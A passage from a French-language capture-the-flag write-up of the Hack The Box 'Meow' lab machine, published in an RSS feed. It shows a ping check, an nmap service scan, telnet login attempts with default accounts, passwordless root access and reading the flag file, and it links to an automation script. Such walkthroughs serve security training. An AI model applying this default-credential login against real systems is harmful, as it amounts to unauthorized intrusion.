<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌──</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">kali㉿kali</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">-</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└─$ </span><span class="token function" style="color:#d73a49">ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PING </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99 </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">56</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">84</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> bytes of data.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">12.3</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">12.5</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">12.9</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">156</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">^C</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">--- </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99 </span><span class="token function" style="color:#d73a49">ping</span><span class="token plain"> statistics ---</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> packets transmitted, </span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> received, </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">% packet loss, </span><span class="token function" style="color:#d73a49">time</span><span class="token plain"> 3005ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">rtt min/avg/max/mdev </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">12.332</span><span class="token plain">/48.529/156.335/62.241 ms</span><br></span></code></pre></div></div>
<p>Quand on obtient des réponses, on peut interrompre la commande avec <code>CTRL+C</code>. Les 4 paquets reçus confirment que la cible est joignable.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/meow#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<p>On va scanner les ports pour connaître les services accessibles et leurs versions. <code>nmap</code> est l'outil standard pour ça. J'utilise le flag <code>-sV</code> pour la détection de version.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌──</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">kali㉿kali</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">-</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└─$ </span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> nmap </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Starting Nmap </span><span class="token number" style="color:#36acaa">7.95</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"> https://nmap.org </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> at </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-11-01 </span><span class="token number" style="color:#36acaa">15</span><span class="token plain">:47 EDT</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Nmap scan report </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Host is up </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0</span><span class="token plain">.067s latency</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Not shown: </span><span class="token number" style="color:#36acaa">999</span><span class="token plain"> closed tcp ports </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">reset</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">23</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  telnet  Linux telnetd</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Service Info: OS: Linux</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> CPE: cpe:/o:linux:linux_kernel</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Nmap done: </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> IP address </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">host</span><span class="token plain"> up</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> scanned </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">11.57</span><span class="token plain"> seconds</span><br></span></code></pre></div></div>
<p>On voit qu'un seul port est ouvert, le port <strong>23/tcp</strong>. Le service est <strong>telnet</strong> — un service d'administration à distance non chiffré. Sur des machines mal configurées, il peut accepter des connexions sans mot de passe ou avec des identifiants par défaut.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/meow#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="evaluation-de-vulnérabilités">Evaluation de vulnérabilités<a href="https://mohamedoutougane.com/writeups/meow#evaluation-de-vuln%C3%A9rabilit%C3%A9s" class="hash-link" aria-label="Lien direct vers Evaluation de vulnérabilités" title="Lien direct vers Evaluation de vulnérabilités" translate="no">​</a></h3>
<p>Avant d'exploiter quoi que ce soit, on vérifie si une connexion interactive est possible. On tente <code>telnet 99.99.99.99</code> pour voir l'écran d'accueil et un prompt de login.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">──</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">kali㉿kali</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">-</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└─$ telnet </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Trying </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99</span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Connected to </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Escape character is </span><span class="token string" style="color:#e3116c">'^]'</span><span class="token builtin class-name">.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  █  █         ▐▌     ▄█▄ █          ▄▄▄▄</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  █▄▄█ ▀▀█ █▀▀ ▐▌▄▀    █  █▀█ █▀█    █▌▄█ ▄▀▀▄ ▀▄▀</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  █  █ █▄█ █▄▄ ▐█▀▄    █  █ █ █▄▄    █▌▄█ ▀▄▄▀ █▀█</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Meow login:</span><br></span></code></pre></div></div>
<p>Le service demande un login — on va essayer des identifiants courants ou des comptes sans mot de passe.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/meow#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="accès-initial">Accès initial<a href="https://mohamedoutougane.com/writeups/meow#acc%C3%A8s-initial" class="hash-link" aria-label="Lien direct vers Accès initial" title="Lien direct vers Accès initial" translate="no">​</a></h3>
<p>On teste des comptes usuels sans mot de passe (admin, root, etc.).</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">──</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">kali㉿kali</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">-</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└─$ telnet </span><span class="token number" style="color:#36acaa">99.99</span><span class="token plain">.99.99</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Meow login: admin</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Password:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Login incorrect</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Meow login: root</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Welcome to Ubuntu </span><span class="token number" style="color:#36acaa">20.04</span><span class="token plain">.2 LTS </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">GNU/Linux </span><span class="token number" style="color:#36acaa">5.4</span><span class="token plain">.0-77-generic x86_64</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>Sur Meow, la connexion <strong>admin</strong> échoue mais <strong>root</strong> passe sans mot de passe — mauvaise configuration flagrante.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/meow#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h3>
<p>Après connexion en tant que <strong>root</strong>, on vérifie les infos système avec <code>uname -a</code> et <code>whoami</code>, puis on liste les fichiers.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">root@Meow:~</span><span class="token comment" style="color:#999988;font-style:italic"># ls</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">flag.txt  snap</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">root@Meow:~</span><span class="token comment" style="color:#999988;font-style:italic"># cat flag.txt</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">b40</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">.hidden</span><span class="token punctuation" style="color:#393A34">..</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain">c19</span><br></span></code></pre></div></div>
<p>La machine est <strong>pwned</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pour-aller-plus-loin">Pour aller plus loin<a href="https://mohamedoutougane.com/writeups/meow#pour-aller-plus-loin" class="hash-link" aria-label="Lien direct vers Pour aller plus loin" title="Lien direct vers Pour aller plus loin" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="script-automatisé">Script automatisé<a href="https://mohamedoutougane.com/writeups/meow#script-automatis%C3%A9" class="hash-link" aria-label="Lien direct vers Script automatisé" title="Lien direct vers Script automatisé" translate="no">​</a></h3>
<p>J'ai fait un script Python qui permet de craquer automatiquement la box Meow :
<a href="https://github.com/MohamedOutougane/Meow_Automated" target="_blank" rel="noopener noreferrer" class="">MohamedOutougane/Meow_Automated</a></p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Linux</category>
            <category>Tier 0</category>
        </item>
    </channel>
</rss>